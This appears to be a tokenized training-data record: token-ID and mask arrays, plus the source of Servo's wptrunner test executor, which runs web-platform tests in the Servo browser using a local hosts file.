1199, 14, 740, 8, 1199, 63, 2108, 63, 3702, 8, 4445, 12, 4363, 435, 499, 430, 339, 1788, 275, 3589, 14, 362, 63, 1501, 342, 272, 9593, 275, 1788, 272, 340, 9593, 26, 267, 9593, 275, 747, 14, 515, 14, 4846, 8, 4846, 9, 272, 366, 275, 469, 267, 283, 354, 356, 263, 17725, 8324, 8, 2718, 14, 362 ]
[ 1882, 4900, 26, 2018, 1882, 199, 3, 1321, 26, 338, 26, 386, 26, 3519, 29, 20, 26, 10329, 29, 20, 26, 1086, 29, 20, 199, 199, 624, 199, 15425, 1132, 1006, 8963, 436, 4008, 436, 1072, 2748, 3794, 367, 3062, 199, 2972, 465, 1777, 402, 314, 3589, 3794, 1900, 199, 624, 199, 199, 646, 984, 199, 646, 747, 199, 646, 1134, 23908, 199, 647, 23908, 14, 4365, 360, 16, 14, 709, 358, 199, 646, 486, 270, 199, 199, 29080, 63, 4305, 275, 499, 199, 199, 3, 1006, 7009, 199, 199, 32420, 63, 7433, 275, 8894, 12029, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 6874, 19418, 6874, 9, 83, 1108, 6874, 30, 523, 665, 21566, 19418, 21566, 9, 83, 1108, 21566, 30, 523, 665, 5087, 19418, 5087, 9, 83, 1108, 5087, 30, 199, 1108, 12029, 11193, 199, 199, 12535, 63, 7433, 275, 8894, 2108, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 2809, 354, 19418, 2809, 354, 9, 83, 1108, 2809, 354, 30, 523, 665, 533, 19418, 533, 9, 83, 1108, 533, 30, 523, 665, 1802, 19418, 1802, 9, 83, 1108, 1802, 30, 523, 665, 2502, 19418, 2502, 9, 83, 1108, 2502, 30, 523, 665, 6226, 83, 30, 199, 2840, 6226, 83, 9, 83, 523, 3068, 6226, 83, 30, 199, 1108, 2108, 11193, 199, 199, 19108, 63, 7433, 275, 8894, 2718, 30, 523, 665, 354, 19418, 354, 9, 83, 1108, 354, 30, 523, 665, 1802, 19418, 1802, 9, 83, 1108, 1802, 30, 523, 665, 1501, 19418, 1501, 9, 83, 1108, 1501, 30, 523, 665, 4846, 19418, 4846, 9, 83, 1108, 4846, 30, 523, 665, 1023, 19418, 1023, 9, 83, 1108, 1023, 30, 523, 665, 1682, 19418, 1682, 9, 83, 1108, 1682, 30, 523, 665, 1365, 19418, 1365, 9, 83, 1108, 1365, 30, 523, 665, 2491, 19418, 2491, 9, 83, 1108, 2491, 30, 523, 665, 6493, 19418, 6493, 9, 83, 1108, 6493, 30, 523, 665, 5527, 30, 199, 2840, 5527, 9, 83, 523, 3068, 5527, 30, 199, 1108, 2718, 11193, 199, 199, 318, 17725, 8324, 8, 604, 304, 272, 408, 272, 14402, 17181, 665, 12, 436, 690, 272, 408, 272, 1004, 275, 11746, 5282, 27, 1674, 904, 8, 604, 14, 1294, 22077, 2237, 272, 1004, 275, 11746, 4116, 27, 1674, 904, 8, 604, 14, 1294, 6757, 2237, 272, 1004, 275, 11746, 3308, 27, 1674, 904, 8, 604, 14, 1294, 19651, 2237, 272, 372, 1004, 199, 199, 318, 664, 63, 2743, 8, 3724, 304, 272, 372, 298, 298, 627, 23632, 1309, 63, 4305, 627, 4363, 199, 199, 318, 1072, 63, 6226, 63, 1160, 8, 541, 12, 4363, 29, 16, 304, 272, 870, 221, 298, 32420, 24877, 401, 10063, 14, 354, 63, 1160, 272, 6567, 694, 275, 1689, 5187, 2266, 1365, 2266, 11279, 531, 272, 6567, 24919, 275, 1689, 9223, 2266, 3972, 4508, 2266, 1069, 531, 2286, 366, 275, 469, 489, 283, 354, 356, 263, 17725, 8324, 8, 541, 14, 354, 63, 1160, 395, 489, 283, 6874, 356, 257, 17725, 8324, 8, 6226, 694, 59, 541, 14, 6874, 2522, 489, 283, 21566, 356, 259, 17725, 8324, 8, 6226, 24919, 59, 541, 14, 21566, 2522, 489, 283, 5087, 356, 258, 17725, 8324, 8, 541, 14, 1986, 63, 12029, 14, 875, 395, 272, 789, 272, 1853, 275, 510, 1554, 63, 7433, 450, 366, 339, 3268, 275, 664, 63, 2743, 8, 3724, 9, 272, 372, 3268, 435, 25381, 78, 2, 435, 3268, 680, 904, 8, 1457, 14, 1294, 4582, 78, 2237, 1362, 199, 318, 1072, 63, 2108, 63, 3702, 8, 25371, 12, 4363, 29, 16, 304, 272, 870, 221, 298, 12535, 401, 325, 276, 14, 362, 63, 354, 342, 339, 6567, 83, 1199, 275, 942, 272, 6567, 5876, 275, 325, 276, 14, 362, 63, 1986, 63, 6226, 63, 5876, 342, 272, 367, 6567, 1160, 315, 6567, 5876, 26, 267, 6567, 83, 1199, 14, 740, 8, 1199, 63, 6226, 63, 1160, 8, 6226, 1160, 12, 4363, 430, 339, 366, 275, 469, 267, 283, 354, 356, 263, 17725, 8324, 8, 25371, 14, 362, 63, 354, 4000, 267, 283, 2809, 354, 356, 259, 17725, 8324, 8, 25371, 14, 362, 63, 2809, 354, 4000, 267, 283, 533, 356, 755, 17725, 8324, 8, 25371, 14, 362, 63, 11645, 4000, 267, 283, 1802, 356, 17725, 8324, 8, 25371, 14, 362, 63, 1802, 4000, 267, 283, 2502, 356, 420, 17725, 8324, 8, 25371, 14, 362, 63, 2502, 4000, 267, 283, 6226, 83, 356, 1867, 78, 1674, 904, 8, 6226, 83, 1199, 395, 272, 789, 272, 1853, 275, 662, 10320, 63, 7433, 450, 366, 339, 3268, 275, 664, 63, 2743, 8, 3724, 9, 272, 372, 3268, 435, 25381, 78, 2, 435, 3268, 680, 904, 8, 1457, 14, 1294, 4582, 78, 2237, 199, 199, 318, 1072, 63, 2718, 8, 2718, 12, 4363, 29, 16, 304, 272, 870, 298, 19108, 401, 3589, 14, 362, 63, 354, 342, 272, 1015, 275, 3589, 14, 362, 63, 1023, 342, 2286, 4008, 275, 1052, 272, 486, 270, 14, 1757, 360, 362, 1337, 4534, 367, 3589, 450, 83, 7, 450, 3589, 14, 362, 63, 354, 1012, 272, 7086, 275, 486, 270, 14, 5189, 63, 362, 63, 885, 342, 272, 4534, 275, 7086, 14, 362, 63, 4445, 63, 513, 63, 991, 63, 2718, 8, 2718, 14, 362, 63, 354, 1012, 272, 486, 270, 14, 1757, 360, 2718, 450, 83, 965, 450, 68, 4534, 7, 450, 334, 2718, 14, 362, 63, 354, 1062, 822, 8, 3179, 1724, 272, 367, 3878, 315, 4534, 26, 267, 340, 1228, 8, 4445, 12, 486, 270, 14, 2162, 2927, 304, 288, 4008, 59, 4445, 14, 362, 63, 354, 5106, 275, 3878, 272, 327, 23908, 14, 1757, 480, 7808, 4534, 531, 5493, 4008, 1199, 275, 942, 272, 2883, 275, 4008, 14, 1612, 342, 272, 2883, 14, 3191, 342, 272, 367, 536, 315, 2883, 26, 267, 3878, 275, 4008, 59, 354, 61, 267, 4008, 1199, 14, 740, 8, 1199, 63, 2108, 63, 3702, 8, 4445, 12, 4363, 435, 499, 430, 339, 1788, 275, 3589, 14, 362, 63, 1501, 342, 272, 9593, 275, 1788, 272, 340, 9593, 26, 267, 9593, 275, 747, 14, 515, 14, 4846, 8, 4846, 9, 272, 366, 275, 469, 267, 283, 354, 356, 263, 17725, 8324, 8, 2718, 14, 362, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aweinstock314/servo
tests/wpt/harness/wptrunner/executors/executorservo.py
14
7768
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. import base64 import hashlib import json import os import subprocess import tempfile import threading import urlparse import uuid from collections import defaultdict from mozprocess import ProcessHandler from .base import (ExecutorException, Protocol, RefTestImplementation, testharness_result_converter, reftest_result_converter) from .process import ProcessTestExecutor from ..browsers.base import browser_command hosts_text = """127.0.0.1 web-platform.test 127.0.0.1 www.web-platform.test 127.0.0.1 www1.web-platform.test 127.0.0.1 www2.web-platform.test 127.0.0.1 xn--n8j6ds53lwwkrqhv28a.web-platform.test 127.0.0.1 xn--lve-6lad.web-platform.test """ def make_hosts_file(): hosts_fd, hosts_path = tempfile.mkstemp() with os.fdopen(hosts_fd, "w") as f: f.write(hosts_text) return hosts_path class ServoTestharnessExecutor(ProcessTestExecutor): convert_result = testharness_result_converter def __init__(self, browser, server_config, timeout_multiplier=1, debug_info=None, pause_after_test=False): ProcessTestExecutor.__init__(self, browser, server_config, timeout_multiplier=timeout_multiplier, debug_info=debug_info) self.pause_after_test = pause_after_test self.result_data = None self.result_flag = None self.protocol = Protocol(self, browser) self.hosts_path = make_hosts_file() def teardown(self): try: os.unlink(self.hosts_path) except OSError: pass ProcessTestExecutor.teardown(self) def do_test(self, test): self.result_data = None self.result_flag = threading.Event() debug_args, command = browser_command(self.binary, ["--cpu", "--hard-fail", "-u", "Servo/wptrunner", "-z", self.test_url(test)], self.debug_info) self.command = command if self.pause_after_test: self.command.remove("-z") self.command = debug_args + self.command env = os.environ.copy() env["HOST_FILE"] = self.hosts_path if not self.interactive: self.proc = ProcessHandler(self.command, processOutputLine=[self.on_output], onFinish=self.on_finish, env=env, storeOutput=False) self.proc.run() else: self.proc = subprocess.Popen(self.command, env=env) try: timeout = test.timeout * self.timeout_multiplier # Now wait to get the output we expect, or until we reach the timeout if not self.interactive and not self.pause_after_test: wait_timeout = timeout + 5 self.result_flag.wait(wait_timeout) else: wait_timeout = None self.proc.wait() proc_is_running = True if self.result_flag.is_set(): if self.result_data is not None: self.result_data["test"] = test.url result = self.convert_result(test, self.result_data) else: self.proc.wait() result = (test.result_cls("CRASH", None), []) proc_is_running = False else: result = (test.result_cls("TIMEOUT", None), []) if proc_is_running: if self.pause_after_test: self.logger.info("Pausing until the browser exits") self.proc.wait() else: self.proc.kill() except KeyboardInterrupt: self.proc.kill() raise return result def on_output(self, line): prefix = "ALERT: RESULT: " line = line.decode("utf8", "replace") if line.startswith(prefix): self.result_data = json.loads(line[len(prefix):]) self.result_flag.set() else: if self.interactive: print line else: self.logger.process_output(self.proc.pid, line, " ".join(self.command)) def on_finish(self): self.result_flag.set() class TempFilename(object): def __init__(self, directory): self.directory = directory self.path = None def __enter__(self): self.path = os.path.join(self.directory, str(uuid.uuid4())) return self.path def __exit__(self, *args, **kwargs): try: os.unlink(self.path) except OSError: pass class ServoRefTestExecutor(ProcessTestExecutor): convert_result = reftest_result_converter def __init__(self, browser, server_config, binary=None, timeout_multiplier=1, screenshot_cache=None, debug_info=None, pause_after_test=False): ProcessTestExecutor.__init__(self, browser, server_config, timeout_multiplier=timeout_multiplier, debug_info=debug_info) self.protocol = Protocol(self, browser) self.screenshot_cache = screenshot_cache self.implementation = RefTestImplementation(self) self.tempdir = tempfile.mkdtemp() self.hosts_path = make_hosts_file() def teardown(self): try: os.unlink(self.hosts_path) except OSError: pass os.rmdir(self.tempdir) ProcessTestExecutor.teardown(self) def screenshot(self, test): full_url = self.test_url(test) with TempFilename(self.tempdir) as output_path: self.command = [self.binary, "--cpu", "--hard-fail", "--exit", "-u", "Servo/wptrunner", "-Z", "disable-text-aa", "--output=%s" % output_path, full_url] env = os.environ.copy() env["HOST_FILE"] = self.hosts_path self.proc = ProcessHandler(self.command, processOutputLine=[self.on_output], env=env) try: self.proc.run() timeout = test.timeout * self.timeout_multiplier + 5 rv = self.proc.wait(timeout=timeout) except KeyboardInterrupt: self.proc.kill() raise if rv is None: self.proc.kill() return False, ("EXTERNAL-TIMEOUT", None) if rv != 0 or not os.path.exists(output_path): return False, ("CRASH", None) with open(output_path) as f: # Might need to strip variable headers or something here data = f.read() return True, base64.b64encode(data) def do_test(self, test): result = self.implementation.run_test(test) return self.convert_result(test, result) def on_output(self, line): line = line.decode("utf8", "replace") if self.interactive: print line else: self.logger.process_output(self.proc.pid, line, " ".join(self.command))
mpl-2.0
[ 3, 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 570, 12, 199, 3, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 646, 1300, 772, 199, 646, 8337, 199, 646, 2022, 199, 646, 747, 199, 646, 3873, 199, 646, 5549, 199, 646, 5796, 199, 646, 7097, 199, 646, 5377, 199, 504, 5055, 492, 10018, 199, 199, 504, 1303, 90, 1412, 492, 7132, 2461, 199, 199, 504, 1275, 1095, 492, 334, 16752, 1726, 12, 673, 11557, 12, 673, 15397, 774, 7921, 12, 673, 511, 23569, 63, 1099, 63, 11256, 12, 673, 2984, 396, 63, 1099, 63, 11256, 9, 199, 504, 1275, 1412, 492, 7132, 774, 16752, 199, 504, 2508, 5750, 83, 14, 1095, 492, 7042, 63, 1531, 199, 199, 5146, 63, 505, 275, 408, 4195, 14, 16, 14, 16, 14, 17, 3330, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 17, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 18, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 78, 24, 74, 22, 795, 2481, 76, 978, 75, 5098, 22926, 1651, 65, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 76, 432, 13, 22, 76, 350, 14, 2520, 13, 3246, 14, 396, 199, 624, 199, 199, 318, 1852, 63, 5146, 63, 493, 837, 272, 7057, 63, 2592, 12, 7057, 63, 515, 275, 5549, 14, 17721, 342, 272, 543, 747, 14, 23140, 8, 5146, 63, 2592, 12, 298, 87, 531, 465, 289, 26, 267, 289, 14, 952, 8, 5146, 63, 505, 9, 272, 372, 7057, 63, 515, 199, 199, 533, 3739, 2392, 774, 23569, 16752, 8, 3498, 774, 16752, 304, 272, 3957, 63, 1099, 275, 511, 23569, 63, 1099, 63, 11256, 339, 347, 636, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 2653, 63, 15812, 29, 17, 12, 3105, 63, 815, 29, 403, 12, 326, 16834, 63, 4399, 63, 396, 29, 797, 304, 267, 7132, 774, 16752, 855, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 3660, 2653, 63, 15812, 29, 2593, 63, 15812, 12, 3660, 3105, 63, 815, 29, 1757, 63, 815, 9, 267, 291, 14, 11241, 63, 4399, 63, 396, 275, 16834, 63, 4399, 63, 396, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 488, 267, 291, 14, 3922, 275, 11557, 8, 277, 12, 7042, 9, 267, 291, 14, 5146, 63, 515, 275, 1852, 63, 5146, 63, 493, 342, 339, 347, 17558, 8, 277, 304, 267, 862, 26, 288, 747, 14, 7162, 8, 277, 14, 5146, 63, 515, 9, 267, 871, 6440, 26, 288, 986, 267, 7132, 774, 16752, 14, 15236, 8, 277, 9, 339, 347, 886, 63, 396, 8, 277, 12, 511, 304, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 5796, 14, 2390, 342, 398, 3105, 63, 589, 12, 1414, 275, 7042, 63, 1531, 8, 277, 14, 3008, 12, 288, 22448, 3541, 401, 4320, 8726, 13, 1633, 401, 3905, 85, 401, 298, 1505, 2392, 15, 87, 4695, 324, 1372, 401, 3905, 90, 401, 291, 14, 396, 63, 633, 8, 396, 4360, 288, 291, 14, 1757, 63, 815, 9, 398, 291, 14, 1531, 275, 1414, 398, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 288, 291, 14, 1531, 14, 2168, 6096, 90, 531, 398, 291, 14, 1531, 275, 3105, 63, 589, 435, 291, 14, 1531, 398, 2589, 275, 747, 14, 2314, 14, 1574, 342, 267, 2589, 905, 5449, 63, 3817, 937, 275, 291, 14, 5146, 63, 515, 421, 398, 340, 440, 291, 14, 13543, 26, 288, 291, 14, 4687, 275, 7132, 2461, 8, 277, 14, 1531, 12, 4318, 2112, 2959, 3049, 1524, 277, 14, 265, 63, 1199, 467, 4318, 641, 22084, 29, 277, 14, 265, 63, 8192, 12, 4318, 2589, 29, 1813, 12, 4318, 3877, 2959, 29, 797, 9, 288, 291, 14, 4687, 14, 1065, 342, 267, 587, 26, 288, 291, 14, 4687, 275, 3873, 14, 7942, 8, 277, 14, 1531, 12, 2589, 29, 1813, 9, 398, 862, 26, 288, 2653, 275, 511, 14, 2593, 627, 291, 14, 2593, 63, 15812, 953, 327, 7356, 3618, 370, 664, 314, 1072, 781, 4282, 12, 503, 5133, 781, 12276, 314, 2653, 288, 340, 440, 291, 14, 13543, 436, 440, 291, 14, 11241, 63, 4399, 63, 396, 26, 355, 3618, 63, 2593, 275, 2653, 435, 959, 355, 291, 14, 1099, 63, 4173, 14, 2573, 8, 2573, 63, 2593, 9, 288, 587, 26, 355, 3618, 63, 2593, 275, 488, 355, 291, 14, 4687, 14, 2573, 342, 953, 6499, 63, 374, 63, 5720, 275, 715, 953, 340, 291, 14, 1099, 63, 4173, 14, 374, 63, 409, 837, 355, 340, 291, 14, 1099, 63, 576, 365, 440, 488, 26, 490, 291, 14, 1099, 63, 576, 905, 396, 937, 275, 511, 14, 633, 490, 754, 275, 291, 14, 3916, 63, 1099, 8, 396, 12, 291, 14, 1099, 63, 576, 9, 355, 587, 26, 490, 291, 14, 4687, 14, 2573, 342, 490, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 2944, 8100, 401, 488, 395, 3073, 490, 6499, 63, 374, 63, 5720, 275, 756, 288, 587, 26, 355, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 8899, 401, 488, 395, 3073, 22919, 340, 6499, 63, 374, 63, 5720, 26, 355, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 490, 291, 14, 2921, 14, 815, 480, 4232, 4941, 5133, 314, 7042, 20100, 531, 490, 291, 14, 4687, 14, 2573, 342, 355, 587, 26, 490, 291, 14, 4687, 14, 8997, 342, 267, 871, 13483, 26, 288, 291, 14, 4687, 14, 8997, 342, 288, 746, 398, 372, 754, 339, 347, 641, 63, 1199, 8, 277, 12, 1004, 304, 267, 2403, 275, 298, 748, 5397, 26, 20668, 26, 298, 267, 1004, 275, 1004, 14, 2708, 480, 1624, 24, 401, 298, 1814, 531, 267, 340 ]
[ 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 570, 12, 199, 3, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 646, 1300, 772, 199, 646, 8337, 199, 646, 2022, 199, 646, 747, 199, 646, 3873, 199, 646, 5549, 199, 646, 5796, 199, 646, 7097, 199, 646, 5377, 199, 504, 5055, 492, 10018, 199, 199, 504, 1303, 90, 1412, 492, 7132, 2461, 199, 199, 504, 1275, 1095, 492, 334, 16752, 1726, 12, 673, 11557, 12, 673, 15397, 774, 7921, 12, 673, 511, 23569, 63, 1099, 63, 11256, 12, 673, 2984, 396, 63, 1099, 63, 11256, 9, 199, 504, 1275, 1412, 492, 7132, 774, 16752, 199, 504, 2508, 5750, 83, 14, 1095, 492, 7042, 63, 1531, 199, 199, 5146, 63, 505, 275, 408, 4195, 14, 16, 14, 16, 14, 17, 3330, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 17, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 18, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 78, 24, 74, 22, 795, 2481, 76, 978, 75, 5098, 22926, 1651, 65, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 76, 432, 13, 22, 76, 350, 14, 2520, 13, 3246, 14, 396, 199, 624, 199, 199, 318, 1852, 63, 5146, 63, 493, 837, 272, 7057, 63, 2592, 12, 7057, 63, 515, 275, 5549, 14, 17721, 342, 272, 543, 747, 14, 23140, 8, 5146, 63, 2592, 12, 298, 87, 531, 465, 289, 26, 267, 289, 14, 952, 8, 5146, 63, 505, 9, 272, 372, 7057, 63, 515, 199, 199, 533, 3739, 2392, 774, 23569, 16752, 8, 3498, 774, 16752, 304, 272, 3957, 63, 1099, 275, 511, 23569, 63, 1099, 63, 11256, 339, 347, 636, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 2653, 63, 15812, 29, 17, 12, 3105, 63, 815, 29, 403, 12, 326, 16834, 63, 4399, 63, 396, 29, 797, 304, 267, 7132, 774, 16752, 855, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 3660, 2653, 63, 15812, 29, 2593, 63, 15812, 12, 3660, 3105, 63, 815, 29, 1757, 63, 815, 9, 267, 291, 14, 11241, 63, 4399, 63, 396, 275, 16834, 63, 4399, 63, 396, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 488, 267, 291, 14, 3922, 275, 11557, 8, 277, 12, 7042, 9, 267, 291, 14, 5146, 63, 515, 275, 1852, 63, 5146, 63, 493, 342, 339, 347, 17558, 8, 277, 304, 267, 862, 26, 288, 747, 14, 7162, 8, 277, 14, 5146, 63, 515, 9, 267, 871, 6440, 26, 288, 986, 267, 7132, 774, 16752, 14, 15236, 8, 277, 9, 339, 347, 886, 63, 396, 8, 277, 12, 511, 304, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 5796, 14, 2390, 342, 398, 3105, 63, 589, 12, 1414, 275, 7042, 63, 1531, 8, 277, 14, 3008, 12, 288, 22448, 3541, 401, 4320, 8726, 13, 1633, 401, 3905, 85, 401, 298, 1505, 2392, 15, 87, 4695, 324, 1372, 401, 3905, 90, 401, 291, 14, 396, 63, 633, 8, 396, 4360, 288, 291, 14, 1757, 63, 815, 9, 398, 291, 14, 1531, 275, 1414, 398, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 288, 291, 14, 1531, 14, 2168, 6096, 90, 531, 398, 291, 14, 1531, 275, 3105, 63, 589, 435, 291, 14, 1531, 398, 2589, 275, 747, 14, 2314, 14, 1574, 342, 267, 2589, 905, 5449, 63, 3817, 937, 275, 291, 14, 5146, 63, 515, 421, 398, 340, 440, 291, 14, 13543, 26, 288, 291, 14, 4687, 275, 7132, 2461, 8, 277, 14, 1531, 12, 4318, 2112, 2959, 3049, 1524, 277, 14, 265, 63, 1199, 467, 4318, 641, 22084, 29, 277, 14, 265, 63, 8192, 12, 4318, 2589, 29, 1813, 12, 4318, 3877, 2959, 29, 797, 9, 288, 291, 14, 4687, 14, 1065, 342, 267, 587, 26, 288, 291, 14, 4687, 275, 3873, 14, 7942, 8, 277, 14, 1531, 12, 2589, 29, 1813, 9, 398, 862, 26, 288, 2653, 275, 511, 14, 2593, 627, 291, 14, 2593, 63, 15812, 953, 327, 7356, 3618, 370, 664, 314, 1072, 781, 4282, 12, 503, 5133, 781, 12276, 314, 2653, 288, 340, 440, 291, 14, 13543, 436, 440, 291, 14, 11241, 63, 4399, 63, 396, 26, 355, 3618, 63, 2593, 275, 2653, 435, 959, 355, 291, 14, 1099, 63, 4173, 14, 2573, 8, 2573, 63, 2593, 9, 288, 587, 26, 355, 3618, 63, 2593, 275, 488, 355, 291, 14, 4687, 14, 2573, 342, 953, 6499, 63, 374, 63, 5720, 275, 715, 953, 340, 291, 14, 1099, 63, 4173, 14, 374, 63, 409, 837, 355, 340, 291, 14, 1099, 63, 576, 365, 440, 488, 26, 490, 291, 14, 1099, 63, 576, 905, 396, 937, 275, 511, 14, 633, 490, 754, 275, 291, 14, 3916, 63, 1099, 8, 396, 12, 291, 14, 1099, 63, 576, 9, 355, 587, 26, 490, 291, 14, 4687, 14, 2573, 342, 490, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 2944, 8100, 401, 488, 395, 3073, 490, 6499, 63, 374, 63, 5720, 275, 756, 288, 587, 26, 355, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 8899, 401, 488, 395, 3073, 22919, 340, 6499, 63, 374, 63, 5720, 26, 355, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 490, 291, 14, 2921, 14, 815, 480, 4232, 4941, 5133, 314, 7042, 20100, 531, 490, 291, 14, 4687, 14, 2573, 342, 355, 587, 26, 490, 291, 14, 4687, 14, 8997, 342, 267, 871, 13483, 26, 288, 291, 14, 4687, 14, 8997, 342, 288, 746, 398, 372, 754, 339, 347, 641, 63, 1199, 8, 277, 12, 1004, 304, 267, 2403, 275, 298, 748, 5397, 26, 20668, 26, 298, 267, 1004, 275, 1004, 14, 2708, 480, 1624, 24, 401, 298, 1814, 531, 267, 340, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
wuwx/ssbc
search/management/commands/loadlist.py
36
1208
